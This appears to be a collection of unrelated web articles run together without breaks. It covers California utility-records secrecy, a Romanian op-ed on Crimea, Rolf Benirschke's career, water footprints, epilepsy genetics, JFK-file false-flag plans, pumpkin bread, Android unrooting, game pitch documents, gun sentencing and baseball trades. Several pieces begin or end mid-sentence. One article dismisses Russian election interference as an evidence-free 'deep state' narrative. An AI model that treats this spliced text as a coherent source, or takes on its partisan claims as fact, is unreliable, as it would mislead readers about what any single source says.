Nearly 100 people, most of them lawyers, have appealed to the commission in the past five years to obtain investigation reports on gas pipeline accidents, electrocutions, railroad deaths and utility-involved fires, records show. Safety-audit reports and inspection records also have been withheld. Under the system, documents remain sealed unless someone is willing to pry them open. Thus, the official accounts of 34 of the 42 serious gas pipeline incidents reported to the commission since January 2006 aren't yet available, records show. In all its formal resolutions releasing records, the commission has acknowledged that the documents are the sort that would be handed over under the state open records law. But the secrecy statute requires the cumbersome extra process. It is also expensive, often involving an attorney, and the delays have ranged from weeks to nearly a year, records show. The secrecy statute has even slowed the work of San Bruno investigators. 'Foot dragging' San Mateo County District Attorney Steve Wagstaffe said his office encountered "foot dragging" when it asked the commission for tens of thousands of documents to help the prosecutor's criminal investigation of PG&E. The commission wanted his office to sign a blanket agreement saying the documents could be read only by the district attorney's staff and not shared with outside experts or witnesses, Wagstaffe said. That wasn't acceptable to San Mateo County or to federal and state law enforcement agencies involved in the investigation, he said. Prosecutors and the state commission eventually reached an agreement that Lindh termed "amicable." "I was surprised in a case of this magnitude that the negotiations dragged on," Wagstaffe said. "It wasn't a burst pipe where someone singed a finger; this was a major event that had resulted in the loss of eight lives." TV station's trouble A news media request for commission documents six years ago reveals how the law can be manipulated to filter criticism of public utilities. KNBC, a Los Angeles television station, asked for records regarding gas pipeline accidents in its area in December 2005. Commission records show the Public Utilities Commission dragged out the process for six months, citing the secrecy statute. Southern California Gas argued the station had not identified any "legitimate reason" for receiving "safety-related" reports. It added that the station should not be allowed to "create undue public alarm" to "boost its own ratings and revenues" by broadcasting them, records show. Southern California Gas spokeswoman Denise King said a TV station's "interest in high ratings" is an issue the commission should consider in deciding whether to release records. Under the California Open Records Act of 1968, however, requesters can't be required to justify their motives. In June 2006, the Public Utilities Commission released most of the records in the case but sympathized with Southern California Gas, saying in a resolution that it had "admonished media requesters to be sensitive in their use of public records" in the past. Repeal bids defeated The secrecy laws have survived several attempts to repeal them, including a bid seven years ago by then-state Sen. Debra Bowen, now California's secretary of state. "Utilities were really strongly opposing it," Bowen said. Utility lobbyists made sure that when Bowen's bill got to the Assembly in 2004, it required nothing more than a utilities commission study of the agency's confidentiality practices, records show. Bowen said she doubted the study would accomplish much, and she was right. Rules didn't change The commission made only a few changes in the way electricity pricing records are redacted. The rules governing release of pipeline safety records remained the same. State Sen. Leland Yee, D-San Francisco, chairman of the committee responsible for public records laws, said he was "absolutely horrified" to learn of the special secrecy powers granted to the Public Utilities Commission. He said the only way to assure the public's "right to know" about pipeline safety is through reasonable access to state records without a vote of an appointed commission. Yee promised to introduce new legislation to wipe out the secrecy statute. Bowen said that with the memory of the San Bruno disaster still fresh in the public's mind, this is a "great time" to try again. "They cannot have a different set of rules that governs the people's right to know," Yee said. Complete coverage: To see Chronicle reports on pipeline safety since the 2010 explosion in San Bruno, video of the disaster and government investigative documents, go to www.sfgate.com/san-bruno-fire.Tweet Pe 23 februarie, înainte chiar de fuga lui Ianukovici în Rusia, anticipam în articolul „Un elicopter pentru Ianukovici! Criza Ucrainei şi preliminariile războiului la periferia Europei”[1] că Rusia nu va ceda Ucraina Occidentului şi, dacă va fi nevoită totuşi să o facă, în niciun caz nu va fi dispusă să plece din Crimeea şi de la Sevastopol, unde şi-a prelungit recent acordul de staţionare a flotei de la Marea Neagră, pentru următorii 30 de ani. Mai adaug acum că revanşa lui Putin pentru victoria pro-occidentalilor la Kiev nu se va opri aici: odată consacrat controlul total asupra Crimeei, vor urma tulburări şi în alte zone majoritar rusofone din estul Ucrainei. Dar trebuie procedat metodic, pas cu pas. Un luptător judoka de opt dani, devenit preşedinte, ştie să aştepte şi să aplice loviturile numai la momentul pe care-l consideră potrivit, când victima sa este mai vulnerabilă. Ucraina, în formatul ei teritorial actual, nu are nicio şansă să adere la Uniunea Europeană sau la NATO, indiferent de entuziamul discursului noilor lideri de la Kiev sau chiar de voinţa majorităţii populaţiei din vestul ţării. Occidentul, de bună seamă, nu poate integra trupe ruseşti staţionate pe teritoriile care ar adera astfel la structurile alianţei. Un teritoriu pe care se află un singur soldat rus este un teritoriu blocat din perspectiva integrării euro-atlantice. La fel este cu Transnistria, Abhazia şi Osetia de sud, aşa cum am mai spus: blochează perspectiva de aderare a statelor care le deţin formal. Celor care au reacţionat negativ la perspectiva sceptică pe care am menţionat-o mai sus, semnalându-mi, plini de emoţie democratică şi altminteri în litera dreptului internaţional, că Ucraina este a poporului ucrainean şi că cetăţenii acestei ţări vor decide singuri soarta ţării, le spun acum: iată cum stau lucrurile, din nefericire, politica internaţională a ieşit din zodia contructivismului (scurtă, de altfel) şi s-a întors în paradigma realistă, în care e vorba doar de putere şi de interesele statelor. Restul, din păcate, sunt poveşti. Frumoase, dar poveşti. Toate marile confruntări din istorie (inclusiv, să nu ne facem iluzii, Războiul Rece şi căderea comunismului) s-au finalizat prin prisma raporturilor de putere dintre părţi. Succesiunea război-balanţă de putere-război-noua balanţă de putere este practic nesfârşită şi a scris istoria acestei lumi, respectiv ascensiunea şi declinul imperiilor. Vreo douăzeci de ani m-am numărat printre cei care credeau că realiştii şi neorealiştii sunt cinici şi se înşeală. Aş fi vrut să fie aşa. Singura mare putere a lumii care a avut forţa imensă de a combina interesul strategic propriu cu măreţia valorilor şi principiilor democraţiei liberale a fost Statele Unite, intrate însă într-un retreat tactic în timpul lui Barack Obama şi uşor obosite după războaiele de uzură din Irak şi Afganistan, cu rezultate incerte şi controversate. Rusia ştie că America a intrat în repaus şi crede că giganticul unchi Sam nu va trezi curând, să mai facă justiţie în lume şi să promoveze democraţia. Putin ar fi putut juca în Ucraina la modul minimalist, mizând doar pe cartea portului Sevastopol, sau maximalist, destructurând practic statul ucrainean. Acum însă, dacă tot s-a ivit „ocazia” cu „lovitura de stat fascistă de la Kiev”, de ce să se mai complice Moscova cu Acordul bilateral de staţionare şi clauzele lui complicate, limitative, şi să nu-şi „recupereze” Crimeea cu totul? Trupele ruseşti vor rezolva totul cu un drum, cum s-ar spune. Nici strategic, nici politic, nici militar, nici simbolic, sub nicio formă aşadar Moscova nu va accepta să vadă într-o bună zi instalaţii NATO montate la Yalta, acolo unde, la sfârşitul războiului, Stalin împărţea lumea cu anglo-americanii. Refluxul istoric al Imperiului Rus după 1990 şi avansul Occidentului spre frontierele Rusiei au totuşi un ultim aliniament strategic, o limită, o zonă tampon, dincolo de care Putin şi sistemul instituţiilor de forţă ruseşti nu vor mai permite un singur pas. O săptămână. Atât a durat ca Rusia să-şi ia înapoi „cadoul oferit poporului ucrainean prieten”, adică peninsula Crimeea, în 1954. Dincolo de discursurile momentului, starea de fapt indică o preluare aproape fără rezistenţă a acestei limbi de pământ care oferă Moscovei accesul facil la apele Mării Negre şi deschidere spre patru state aliate ale Americii: România, Bulgaria, Turcia, precum şi pro-occidentala Georgie. Ce ar putea face în aceste condiţii Occidentul? Riscând iarăşi oprobriul idealiştilor, voi spune că Statele Unite şi Uniunea Europeană nu vor interveni militar pentru a opri acţiunea revizionistă a Rusiei. Din multe motive. Costurile ar fi mai mari decât beneficiile. Occidentul nu se află în acel state of mind în care să ia în considerare la modul serios o înfruntare cu Rusia. Nici economic, nici politic. Democraţiile occidentale, abia ieşite dintr-o lungă criză, cu un nivel al disatisfacţiei clasei mijlocii tot mai ridicat, cu mişcări populiste care ameninţă partidele din mainstreamul istoric, vor critica la unison Rusia dar nu o vor opri. Urmează, probabil, încercarea occidentalilor de a impune sancţiuni economice internaţionale Rusiei. Dar efectul asupra periferiei estice a Uniunii Europene? Dar oprirea gazului? Dar datoriile Ucrainei şi ale altor state din regiune către Rusia? Dar investiţiile strategice ale Rusiei, inclusiv în economia Europei Centrale şi de Est? Este dispus Occidentul să compenseze aceste efecte colaterale, având în vedere că nu-i vor putea lăsa pe est-europeni în frig şi cu zone întregi ale industriei pe butuci? Nota de plată se va întoarce în Europa. Ce vor zice contribuabilii din vest? Rusia nu e, totuşi, Coreea de Nord sau Iranul. Izolarea unei ţări de dimensiunile şi cu resursele Rusiei pare o glumă. Atunci, singura cale „onorabilă” a Occidentului de a răspunde şi de a se opune agresiunii militare a Rusiei în Ucraina va fi declanşarea celui de-al doilea Război Rece. Am avut uneori senzaţia că Putin doreşte demult reluarea Războiului Rece, crezând că o asemenea tensiune în relaţia cu Occidentul îi va readuce Rusiei importanţa politică şi simbolică şi statutul de super-putere, pierdute în 1991. Posibilitatea de a discuta de la egal la egal cu Statele Unite. La ce să ne aşteptăm în continuare? Contre politico-diplomatice, declaraţii pe ton grav, blocarea reciprocă a dosarelor internaţionale (Siria, Iran, Egipt, negocierile israeliano-palestiniene, extinderea Uniunii Europene etc., de toate se va alege praful prin ingerinţa Moscovei), manevre militare pe zonele limitrofe, gesturi simbolice, îngreunarea schimburilor comerciale, maşinaţiuni ruseşti în fostele republici sovietice. Toate acestea vor dura, spun adepţii şcolii realiste, până la stabilirea unei noi balanţe de putere. V-aş propune să-i credem. ____________________________ http://www.contributors.ro/editorial/un-elicopter-pentru-ianukovici-criza-ucrainei-si-preliminariile-razboiului-la-periferia-europei/ Ai informatii despre tema de mai sus? Poti contribui la o mai buna intelegere a subiectului? Scrie articolul tau si trimite-l la editor[at]contributors.ro Citeste mai multe despre: ucrainaRolf Joachim Benirschke (born February 7, 1955) is a former American football player in the National Football League. Benirschke played for the San Diego Chargers as their placekicker from 1978 until 1986. Following his retirement from football Benirschke tried to find a career in television and was hired by Merv Griffin to replace Pat Sajak as host of the daytime game show Wheel of Fortune in 1989. Early career [ edit ] Benirschke grew up in San Diego and attended La Jolla High School. His father Kurt Benirschke, a German immigrant, was a pathologist at the University of California, San Diego School of Medicine and the founder/director of the Center for the Reproduction of Endangered Species at the San Diego Zoo, where Rolf worked summers in high school and college. Rolf Benirschke majored in zoology at the University of California, Davis, where he played football under coach Jim Sochor. He was selected by the Oakland Raiders in the 12th round of the 1977 NFL Draft, and was then traded to the San Diego Chargers for his rookie year in the National Football League. In the off-season before the 1978 season, his second season, he developed chronic fever, abdominal cramps, and diarrhea. He learned that he had ulcerative colitis, a form of inflammatory bowel disease. Living with ulcerative colitis [ edit ] His health problems got worse in the 1979 season, when, on the team plane coming home from a road trip, Benirschke collapsed. He underwent two surgeries to remove his large intestine and he was in the intensive care unit for weeks. When released from the hospital, he weighed only 123 pounds and had to adjust to life with two ostomy appliances. His ileostomy was eventually reversed in a Kock pouch procedure. On Sunday, November 18, 1979, Benirschke made his dramatic return to the Chargers in a game against the Pittsburgh Steelers. While he did not play, he was named honorary team captain for the game, which was a sellout. Louie Kelcher, a Chargers' defensive tackle, assisted him and held his hand out onto the field.[1] The Chargers won the game 35-7. From 1980 to 1982, Benirschke was also a broadcaster for the San Diego Sockers of the former North American Soccer League.[2] In 1980 Benirschke returned to kicking and played seven more seasons with the team before retiring in 1987 as the team's all-time leader in points scored (766).[3] He was named the NFL Man of the Year in 1983. He was selected to the Pro Bowl after the 1983 season. In 1984, his kickoffs were viewed to be too short, and he gave a thumbs-up sign to Denver Broncos kicker Rich Karlis before a field goal that defeated the Chargers, prompting a meeting with San Diego owner Alex Spanos over Benirschke's loyalties. Although Benirschke had the third-highest field goal percentage in NFL history, the Chargers selected punter/kicker Ralf Mojsiejenko in the 1985 NFL Draft to provide competition.[4] On August 31, 1987, Benirschke was traded to the Dallas Cowboys for a draft pick after he lost his job to rookie Vince Abbott. He was released by Dallas on September 7, and formally announced his retirement in December. After 10 years with San Diego, he retired as the team's all-time scoring leader with 766 points and held 15 club records. He made 146 field goals in 208 tries for a.702 field goal percentage, at the time the third-most accurate in league history behind Eddie Murray and Nick Lowery.[5] In 1997, he was the twentieth player inducted into the San Diego Chargers Hall of Fame. Benirschke hosted the daytime version of the TV game show Wheel of Fortune from January 10 to June 30, 1989 after Pat Sajak left the daytime version to host The Pat Sajak Show; Sajak has continued to host the nighttime syndicated version. When the daytime version moved to CBS, Bob Goen succeeded Benirschke as host. He has not been involved in television since, but was among the many participants in the E! Network's True Hollywood Story episode on Wheel. He founded and later sold a financial services company, and has been involved in venture capital and development groups.[6] He is the national spokesman for the Crohn's and Colitis Foundation of America and for Hepatitis C awareness. In November 1996 he published his book, Alive and Kicking![7] from which his almost-famous quote "It's not what you become, it's what you overcome" was first observed. During and after his football tenure he was also an endangered animal activist who created a well known endangered animal charity, "Kicks for Critters."[8] He currently devotes much of his time to Legacy Health Strategies LHS, a strategic planning and marketing company servicing selected medical device and pharma companies by developing patient support and awareness programs that service different disease states. Rolf routinely speaks at national sales meetings, for major corporations, and at health related events across the country. Some of his clients include UCSD Medical Center, Kaiser Permanente, Dartmouth Hitchcock Medical Center, The American Liver Foundation, the National Center for Disease Control, Emdeon, Pacific Life, The Hartford, Nanogen, WOC Nurses, YPO groups, and many others. Rolf Benirschke He is married to the former Mary Michaletz; the couple has four children. He is active in the San Diego, California area, volunteering his time with organizations like the San Diego Zoo, United Way, the Chargers, the Boys & Girls Clubs of East County and the San Diego Blood Bank. Every year, he is in charge of the Rolf Benirschke Legacy Golf Invitational,[9] held at the Rancho Santa Fe Farms Golf Club in Rancho Santa Fe, California. Some of the money is donated to charities such as the Crohn's & Colitis Foundation of America and the Prostate Cancer Foundation. See also [ edit ]By now, we are used to hearing about our carbon footprint, but there’s another term that’s entering our environmental consciousness, and that’s our water footprint. Water footprint is the amount of water consumed either directly (from our household usage) or indirectly (consumed during the production of goods and services that we use.) “Everyone understands that water is essential to life. But many are only just now beginning to grasp how essential it is to everything in life — food, energy, transportation, nature, leisure, identity, culture, social norms, and virtually all the products used on a daily basis.” – World Business Council for Sustainable Development (WBCSD) Do you know what your water footprint is? Water footprint can apply to individuals, families, businesses, cities, and nations, and the calculation also indicates the volume of water polluted over time due to the impact of industry or lifestyle. There are several components to a water footprint: blue water, green water, and gray water. Blue Water: The volume of freshwater taken from (or evaporated from) the world’s surface and groundwater. Green Water: Water evaporated from water stored as soil moisture. Grey Water (a.k.a. greywater, gray water, etc.): The amount of water polluted through the production and consumption of goods and services. This volume also includes the amount of water necessary to dilute the pollutants to a level that maintains water quality standards. There’s another term relating to water footprint, which can apply to individuals, businesses, nations, or goods and services: Water-neutral (similar to the term relating to carbon footprint, carbon-neutral). Water neutral applies when the negative effects of water use (or footprint) have been reduced, mitigated, or offset. Water offsets can be in the form of reclaiming the waste or gray water used, or funding an efficient water use or storage project off-site. If you want to calculate the water footprint of your family or business (and I certainly hope you do), use the Water Footprint Network’s calculator and then take the steps necessary to reduce or offset your water usage. Be sure to check out the water footprint of common consumables, such as coffee, beef, etc. while you’re there. Note: Jennifer Lance co-contributed to this article.NEW YORK, August 11 - Neurologists and epilepsy researchers from NYU Langone Medical Center were among scientists who have 329 random genetic mutations associated with two of the most severe forms of epilepsy, according to a paper published today in Nature. Though well-known that many forms of epilepsy are strongly influenced by genetics, there has been relatively little progress in identifying the genetic differences that contribute to most forms of epilepsy. This study sheds light on why some with an elevated risk for epilepsy never get the disease and why certain medications work better for some patients than others. "For generations we have been treating most forms of generalized epilepsies with no idea what causes the disease. Now, for the first time, we have identified clear genetic risk factors in patients with severe epilepsy," says study co-author Ruben Kuzniecky, MD, professor of neurology at NYU Langone Medical Center, where he serves as co-director of the NYU Comprehensive Epilepsy Center and director of epilepsy research. The findings are the first to emerge from the largest investigation into the genetics of epilepsy ever conducted. The study, known as the "Epilepsy Phenome/Genome Project" (EPGP) and representing a consortium of 27 medical centers from around the world, is led by Dr. Kuzniecky and Daniel Lowenstein, MD, professor and vice chair of the Department of Neurology at the University of California, San Francisco (UCSF), and director of the UCSF Epilepsy Center. Since 2007, when the project began, its team of several hundred physicians and staff has collected blood samples and clinical information from more than 4,000 patients with epilepsy and their family members. NYU Langone contributed data for 430 patients, representing the largest
. As the deep state continues to push the Russian election interference narrative—with no concrete evidence—the damage to US-Russia relations continues to grow. Sadly, those who continue to buy the Russiagate conspiracy theory have forgotten the US government’s history when it comes to propaganda used to start wars and bolster the military-industrial complex. A recent revelation from the newly released JFK Files can now help put this entire Russian hacking scenario into context—as it has been the subject of previous propaganda campaigns. On March 22, 1962, a meeting, held by the “Special Group (Augmented),” which according to an encyclopedia on the Central Intelligence Agency, included Attorney General Robert Kennedy, CIA Director John McCone, National Security Advisor McGeorge Bundy and chairman of the Joint Chiefs of Staff Lyman Lemnitzer, discussed the creation of a false flag attack on the United States to be blamed on the Soviets. According to the documents, the US government wanted to manufacture or obtain Soviet aircraft so they could launch an attack on America or friendly bases and use those attacks as a pretext for war. According to the previously Top Secret classified documents: There is a possibility that such aircraft could be used in a deception operation designed to confuse enemy planes in the air, to launch a surprise attack against enemy installations or in a provocation operation in which Soviet aircraft would appear to attack U.S. or friendly installations in order to provide an excuse for U.S. intervention.” As the Daily Caller notes, the notion of using fake Soviet aircraft in a so-called “false flag” attack was first revealed in Robert Dallek’s An Unfinished Life: John F. Kennedy, 1917-1963, which was released in 2001. Dallek’s book says that the idea to manufacture or obtain Soviet aircraft was suggested by CIA Director McCone; however, the released documents say it was raised by Attorney General Kennedy. As people continue to believe the warmongering rhetoric from the State, they also continue to forget America’s history of lying to the people to get them to accept war. Indeed, the JFK files have now given us at least two incidents of the United States planning false flag attacks against its own people as a pretext to wage war. Download Your First Issue Free! Do You Want to Learn How to Become Financially Independent, Make a Living Without a Traditional Job & Finally Live Free? Download Your Free Copy of Counter Markets As TFTP reported last month, the JFK files also reveal the plans for another false flag attack to be blamed on Cuba. In the document which was marked TS for Top Secret, the US military revealed its plans to trick Americans into war with Cuba. The plans were to create and carry out false flag terror attacks against American citizens and use them as propaganda to gain support for the war against Fidel Castro. In the documents, officials noted that the plans for the attacks were “approved” and the Joint Chiefs merely needed to pick one of the nine “pretexts” to use to trick US citizens into war. The plans involved killing innocent people and injuring others and making sure these instances would be “widely publicized” as propaganda to start an unjust war. “We could develop a Communist Cuban terror campaign in the Miami area, in other Florida cities and even in Washington. The terror campaign could be pointed at Cuban refugees seeking haven in the United States. We could sink a boatload of Cubans enroute to Florida (real or simulated),” the document reads. Notice how callous these monsters sound when talking about drowning a boatload of Cubans—which would have likely contained innocent children—to start a bogus war for profit. Avoiding The Eye - Ships Free Today! The document continues, We could foster attempts on the lives of Cuban refugees in the United States even to the extent of wounding in instances to be widely publicized. Exploding a few plastic bombs in carefully chosen spots, the arrest of a Cuban agent and the release of prepared documents substantiating Cuban involvement also would be helpful in projecting the idea of an irresponsible government. When reading the above documents, one should be naturally inclined to begin questioning every single war America has ever entered. It becomes perfectly clear that the US government cares not about deceiving its own citizens and killing innocent people so they can send our brothers, sisters, mothers, and fathers off to other countries to die so the fat cats in DC can bolster their war portfolios on Wall Street. Matt Agorist is an honorably discharged veteran of the USMC and former intelligence operator directly tasked by the NSA. This prior experience gives him unique insight into the world of government corruption and the American police state. Agorist has been an independent journalist for over a decade and has been featured on mainstream networks around the world. Agorist is also the Editor at Large at the Free Thought Project, where this article first appeared. Follow @MattAgorist on Twitter, Steemit, and now on Facebook. Image creditFall is a difficult time of the year for me. It starts to get dark so early, the rains return like they did yesterday in buckets, and the temperature outside begins its inevitable downward trek toward winter lows. Still, I like to see the leaves change color and I especially like recipes that take advantage of some of the fall-harvested fruit and vegetables—like pumpkin. Take my wife’s pumpkin bread, for example: Yum! Truthfully, I had to think a minute to decide if pumpkin is a fruit or vegetable. And since my brain wasn’t working all that well this morning that didn’t help a bit. Thank goodness for the internet, right? Turns out pumpkins are technically a fruit from a pure scientific view as they have seeds, but thanks to our Supreme court in a case involving tomatoes they’re also considered vegetables (Nix versus Hedden, 1883 – Wikipedia). I guess the commonly accepted usage is just as important as the scientific classification. Go figure. With all this heavy extra thinking this morning all I really knew was I wanted some more of my wife’s pumpkin bread. Sadly, there was only one small piece to be found. Time to make more! In yesterday’s post, I explained how easy it is to make your own pumpkin puree (here’s the link). Today, we’ll use some of that puree as we make fresh, delicious pumpkin bread. Let’s Gather The Ingredients For today’s recipe we’ll need to gather the following: 2 eggs 1/4 cup water 1/2 cup olive oil 1 cup pumpkin puree (use fresh or canned) 1-1/2 cups of spelt or whole wheat pastry flour 1/2 cup brown sugar 1/2 cup white sugar 1 teaspoon baking soda 1/2 teaspoon sea salt 1/2 teaspoon nutmeg 1/2 teaspoon cinnamon 1/2 teaspoon allspice Preparation Start by preheating the oven to 350 degrees. Lightly oil a bread loaf baking pan. Using a standard pan versus using mini bread loaf pans will make a difference in cooking time—the smaller pans can cut baking time by 10 or 15 minutes. However, either works and it’s just a matter of baking until you can poke the center of the loaf and the toothpick comes out clean. Combine the wet ingredients first. Start by lightly beating the eggs with a whisk. Now, add the water, oil and pumpkin puree. If you haven’t pureed the pumpkin you roasted, do that first and then measure out a cup. A rougher puree from a potato masher will leave small bits of pumpkin visible in the bread as shown in the pictures above. I like that for texture, but if you prefer a smoother blend the food processor works best. Of course, you can always substitute canned pumpkin for the convenience. Now, it’s time to combine the dry ingredients. My wife did that separately in this batch before adding to the wet ingredients, but you can just add as you go if you prefer. Let’s start with our flour. This past week my wife made two batches of bread. The bread in the pictures was made with spelt flour which I’ve mentioned in the past is an ancient wheat grain, one many people who are sensitive to regular wheat flour can tolerate without a problem. However, she made her second batch with whole wheat pastry flour and it was just as delicious—really any flour will do. Measure out the sugar and add to the flour. If you are out of one or the other types you can go all white or all brown. Lightly pack your brown sugar. Now, measure out and add the baking soda, salt, nutmeg, cinnamon and allspice. Mix with the other dry ingredients and then slowly combine with the wet ingredients until everything is well-blended and their are no lumps. With the batter ready, pour it into your baking pan (or pans) and pop it in the oven. Set the timer for 50 minutes if using a regular sized loaf pan. Pumpkin bread batter tends to be quite moist and can take anywhere from 50 to 75 minutes to cook. As mentioned above, adjust cooking time for pan size and check for doneness with a toothpick. When the bread is done, remove it from the oven and allow to cool on a wire rack. Bread like this cools best elevated on a wire rack as steam and moisture will often leech out underneath. Best served still slightly warm. If you like you can add butter or honey, but honestly it doesn’t need it. Yum! Enjoy! If you like to cook from scratch and want an easy and delicious soup, try: Homemade Cream Of Mushroom Soup Or for more recipe ideas visit our new Recipe page by clicking here.The true charm of Android lies in its power of customization. While most other mobile platforms are closed to third-party modification of system files, Android is open to all kinds of custom development activities. Having rooted your Android device you can modify its default settings, codes and graphics to get faster performance, better battery life, and UI customization. There is a large group of Android users who refrain from rooting their devices for fear of losing the warranty and putting it into risk in the procedure. Then there are others who find it hard to keep an unrooted device. Having once enjoyed the privileges of root access, one cannot live without it. However, there are certain circumstances when you might consider unrooting your phone, especially if you want to claim the warranty and, in some cases, to receive OTA updates. Whatever the case, if you want to unroot your Android device here is how you can do it. The most popular method used for unrooting Android devices is flashing the stock firmware not because it’s easy, but because people are hardly aware of other easier methods. Restoring a device to stock is certainly not an easy task and if you do not have a custom recovery installed, you do not need to download bulky firmware packages and make a lot of preparations. Unroot Android Devices Manually Method 1: Using Root File Browser Download and install a root file manager app from the Play Store. We recommend Root Browser: File Explorer Root Browser Download on Google Play 4 Look for /system/ folder and open /bin/ Now look for a file called su, press and hold it and select Delete option. If you do not find su file here, skip to the next step (I did not find this file on devices like LG G3 and HTC One M8 but it was present on NexuS 5. Then open /system/xbin/ folder and delete su file from here too. Having deleted that file open /system/app/ folder, look for Superuser.apk and delete it. Now exit Root Browser and reboot your device. Done! We just hope you found the above method easy but if that does not work for you, try something else from below. Method 2: Unrooting Using Apps There is another easier method for unrooting your Android phone or tablet. It works on device running Android 4.2.2 or older. Just download the Universal Unroot or Ginger Unroot app from the Google Play store and run the app: Sorry, this app is not available. Method 3: From within SuperSU App If you have not installed a custom recovery on your device and want to unroot it easily, you can do it from within the SuperSU app settings itself. Just open SuperSU app on your device. Tap Settings tab. Scroll down to Full unroot option and tap it. SuperSU will prompt you if you really want to continue with unrooting your device. Tap Continue. Now reboot your device and when it boots up, uninstall SuperSU app by selecting Uninstall option on the SuperSU app page on Google Play Store. Your phone or tablet should now now be unrooted. Enjoy! Method 4: By Installing OTA Update If you are able to get software update notification from your device OEM while being rooted, just accept the OTA and install it. When the new software is installed, your device will lose root privilege. You can uninstall SuperSU/Superuser app after the software update is done. Please make sure not to take official OTA updates only if you device has a custom recovery like CWM or TWRP. To install the OTA software update successfully, you must have stock recovery. If you have downloaded the stock OTA update, here’s how you can check if your phone has been unrooted or not. It works only on rooted phones with stock recovery. You must have ADB and Fastboot on your computer to perform the commands. Reboot your device. Check for system updates from Settings> About device> Software update, and download the update if it’s available. Wait until your device reboots. Now reboot your phone into the recovery mode. Open a command window Type the following command and hit the Enter key: adb shell You will see “#”. Now type this: su If you get “permission denied” or something like that as result, your device has been successfully unrooted. Your next step should be to uninstall the SuperUser app from your phone. Done! Method 5: By Installing Stock Firmware The most popular way to unroot Android devices is flashing the stock/official firmware. This method works even on devices that have a custom recovery or kernel installed on them. Since a firmware is the full package containing all system partitions, it does not matter whether you phone has CWM/TWP or even a custom ROM on it. We have a good number of tutorials that will help you restore the stock firmware on your device.Create a game is not just make the game, at least if you want to publish it on XBLA or PSN. First of all you have to fill a document called Concept Submission Form. This text should summarize your project in the following areas: company and funding overview, game genre, design pillars (key elements that drive the design of your title), key moments (highlights. In some way you are to going to spoil the person that has to review your proposition) and risk evaluation. There are more points, but these ones could sum up your project to the publisher. Sticking to the article, Tequila Works presented Echoes of Siren, from now on Rime (official name to this project unveiled at E3 2013) to Microsoft. Rime could have been a Xbox One exclusive instead a PlayStation 4 one, although Tequila Works showed Rime to MS, the company dismissed the project. Sony approved its budget and that was the start of a new exclusive for PS4. The Concept Submission Form is the first path in a long journey to achieve your goal: obtain financial support and a publisher for your game. I will divide the most important parts of that document, the document that Tequila Works had to send to Microsoft to reckon the viability of Rime. 1. Company Overview: that’s a description of your company upon what you have done before. 2. Funding Overview: being straightaway, how much money would you need to create your product? 3. Game Genre. 4. The Elevator Pitch: an excerpt of the essence of your game in one sentence. 5. Design Pillars: key elements of your creation. 6. Initiatives: how the concept roll out along the game. In this case, I will just stand out this part. 7. Risk Evaluation: hurdles in your development.Bill O’Reilly believes that he has a solution to gun violence, and he claims that neither major party candidate for president has found this answer. His answer? Mandatory minimum sentences of five years in federal prison for anyone having or using a firearm illegally. This is nothing new, of course. In fact, O’Reilly is specifically wrong if he means that one current candidate, Hillary Clinton, has never considered the idea of mandatory minimums in general. Her husband signed the Crime Bill of 1994 that included among its many bad ideas — the Assault Weapons Ban, for example — a three-strikes provision for violent felonies and some drug crimes. These days, she has repudiated the law, her campaign staff claiming for her that the times, they have a changed, though the evidence suggests that what specifically has changed is the electorate — more voters in the population who don’t approve of the racial disparities in mandatory sentencing. If there’s one thing we can be certain about regarding Clinton, it’s that she will flip flop on anything that will get her votes. What about the concerns over racial disparities? The problem with mandatory sentencing with regard to race is that they are imposed on crimes that are committed by groups of people who are easy targets. During the height of cocaine use in the 80s and early 90s, crack possession was treated much more harshly than powder cocaine, and crack is favored by poorer users. The usual argument is that harsh treatment can be avoided if people simply don’t break the law, but fairness requires that when we have two persons who have committed the same act — and using a substance, regardless of how it’s presented is effectively the same act — each person deserves the same treatment. And that’s not how mandatory sentences have worked so far. But there’s a bigger concern here for gun owners. It’s simple to be dismissive of people who aren’t like us, but unpopular activities aren’t limited to drug use. We gun owners are treated with the same measure of contempt reserved for child molesters by too many supporters of increased control. If we endorse mandatory sentencing for “gun crimes,” we should be concerned about the possibility of more and more acts being called crimes, including things like owning and carrying firearms in ways that are currently legal. Handing power over to the government is always something that should be done with caution, especially if we see some utility in the present moment. One of the protections of our system of government is that we grant powers to the judicial system — prosecutors, judges, and juries — to reduce penalties, but make it difficult to apply sterner measures. Taking away the discretion to show mercy guarantees that more and more people will end up in prison for a long time, increasing the costs to the public. And to no effect. Deterrence is a difficult thing to measure, but the research available suggests that the certainty of being punished is more effective than the severity of punishment. Perhaps at ridiculous extremes — a five dollar fine that is certain vs. decades in prison — wouldn’t show this result, but if we choose to put people away for various crimes, a few years that are known to be the inevitable result of the wrongdoing would likely produce the desired results at least as much as harsher sentences. O’Reilly also complains that Clinton’s approach calls for understanding criminals rather than punishing them. It would be best if he took the trouble to figure out the facts involved, though it doesn’t seem that reaching useful conclusions is his goal. The views and opinions expressed in this post are those of the author’s and do not necessarily reflect the position of Guns.com.Though much of the heavy lifting for the Diamondbacks has been accomplished this winter by adding both Zack Greinke and Shelby Miller to the fold, GM Dave Stewart tells the Arizona Republic’s Nick Piecoro that he still hopes to add another bat. “We did give away a certain amount of offense with Inciarte,” said Stewart in reference to Ender Inciarte, whom the D-backs sent to the Braves as part of the package to acquire Miller. “I’m not by any means thinking that (Yasmany) Tomas isn’t capable of giving us back what we lost, it’s just he didn’t prove that last year. Just to be sure, I wouldn’t mind adding a little more offense.” The D-backs didn’t reach out to Daniel Murphy’s representatives before the longtime Met signed a three-year deal with the Nationals, but they’ve been in touch with Howie Kendrick’s representatives, Stewart tells Piecoro. However, the GM didn’t sound optimistic about the chances of getting something done, telling Piecoro: “I just don’t know how far we’re going to get down the road with that.” Piecoro notes that, in particular, Stewart sounded reluctant to surrender a second draft pick to add a free agent after already forefeiting his first pick in next year’s draft to sign Greinke. Arizona has been linked to second base upgrade on more than one occasion this winter, as the team was also said to have discussed a swap that would’ve sent Aaron Hill to Cincinnati in exchange for Brandon Phillips. That deal would’ve saved the Reds some money on Phillips’ contract while giving the D-backs a boost in the infield, but a source tells Piecoro that Arizona wasn’t comfortable with the amount of Phillips’ 2017 salary that Cincinnati wanted the D-backs to assume. (There’s also the case of whether Phillips would’ve waived the no-trade protection that comes with his full 10-and-5 rights; he reportedly declined to do so when approached about a trade to the Nationals.) The infield would seem like a logical spot to upgrade the offense after Nick Ahmed and Chris Owings both failed to provide meaningful offense in 2015, but Stewart said that the club has “every reason to believe” that Owings will “definitely” rebound in 2016 after being slowed by a problematic shoulder in 2015 and wouldn’t rule out adding an extra outfielder to the mix instead. As for Ahmed’s offense, I’d imagine the team isn’t as concerned with how much he does or doesn’t 